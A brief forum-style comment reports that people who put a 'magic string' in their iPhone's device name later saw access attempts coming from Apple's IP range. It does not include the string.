People have added the magic string to the name of their iShiny, only to see access attempts from the apple IP range. This is getting bizzare.


----------

